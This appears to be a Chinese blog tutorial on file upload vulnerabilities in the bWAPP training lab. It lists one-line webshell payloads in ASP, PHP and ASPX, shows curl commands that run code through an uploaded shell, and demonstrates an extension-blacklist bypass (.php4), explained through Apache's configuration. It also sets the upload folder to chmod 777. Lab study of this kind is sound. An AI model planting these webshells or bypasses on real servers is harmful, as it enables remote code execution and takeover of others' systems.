使用的平台是Bwapp
正常的安装完 bwapp ,在文件上传模块能够成功上传文件,但文件却不可以被保存,原因是images文件夹的权限不够,解决方法:
docker exec -it 你的dockerID /bin/bash #进入容器的指令
cd app/
chmod 777 images
如图:
一句话木马
什么是一句话木马?
不同语言的一句话木马
- asp一句话木马
<%execute(request("value"))%>
- php一句话木马
#php
<?php @eval($_POST[value]); ?>
#不用'<,>'的asp一句话木马:
<script language=php>@eval($_POST["value"]);</script>
- aspx一句话木马
<%@ Page Langeuage="Jscript"%>
<%eval(Request.Item['value'])%>
- 其他的一句话木马
<%eval request("value")%>
<%execute request("value")%>
<%exxecute(request("value"))%>
简单的文件上传漏洞,可以使用一句话木马获得到Webshell,进而获取更多的内容或权限。
可以使用curl
、中国菜刀
、蚁剑
等工具继续接下来的操作。
比如,在终端使用curl
即可webshell
curl -d "value=echo getcwd();" http://ip地址/上传的文件名
# 返回结果/app/images,说明脚本是可以运行的
文件上传漏洞初阶:后缀名绕过
以下1.*文件的内容均为 <?php@eval($_POST['flag']);?>
直接上传 php 文件,则
修改后缀名后即可成功上传
同样的,点击here,和 low等级下一样,没有回显,和上面使用一样的方法,即curl
curl -d "flag=getcwd();" http://127.0.0.1/images/1.php4
# 这样也是输出/app/images,说明 .php4 的文件和 .php文件的作用相同
如果继续修改文件后缀,直接改成.php30
试一下,同样是上传成功,点击here访问,会发现有回显,(和上传 .txt 文件的结果一毛一样)内容正是上传的文件内容。
这是为什么呢? 那是因为 .php30
文件被认为是普通的文件,不能被执行。
那是因为.php30
没有对应的语言解析模块。
接着往下看......
文件后缀名绕过的底层原理
想要了解到为什么会出现这种情况,可以通过bash命令对该漏洞容器进行深度调试来了解。
# 前面修改images文件夹的权限时使用过
docker exec -it dockerID /bin/bash # 进入到调试 ID可以通过docker ps获得
通过查看网络连接去查找该漏洞容器使用的Web服务器
netstat -antp | grep 80 # 查看80端口容器使用的Web服务器
接下来去查看apache2
的主要配置文件 ==> /etc/apache2/apache2.conf
cd /etc/apache2
vim apache2.conf # 需要安装vim,或者直接用cat查看
由此处可以知,该Web服务器加载了mod-enabled下的模块,进入查看,发现有很多
查看php5.conf
文件,看第一行的正则表达式,也就是说,可以解析php,php3,php5等文件(但是php文件却被加到了黑名单),而我们之前上传的php30不在这些范围内,就没有语言解释器去进行解释运行。
这就是一些简单的原理。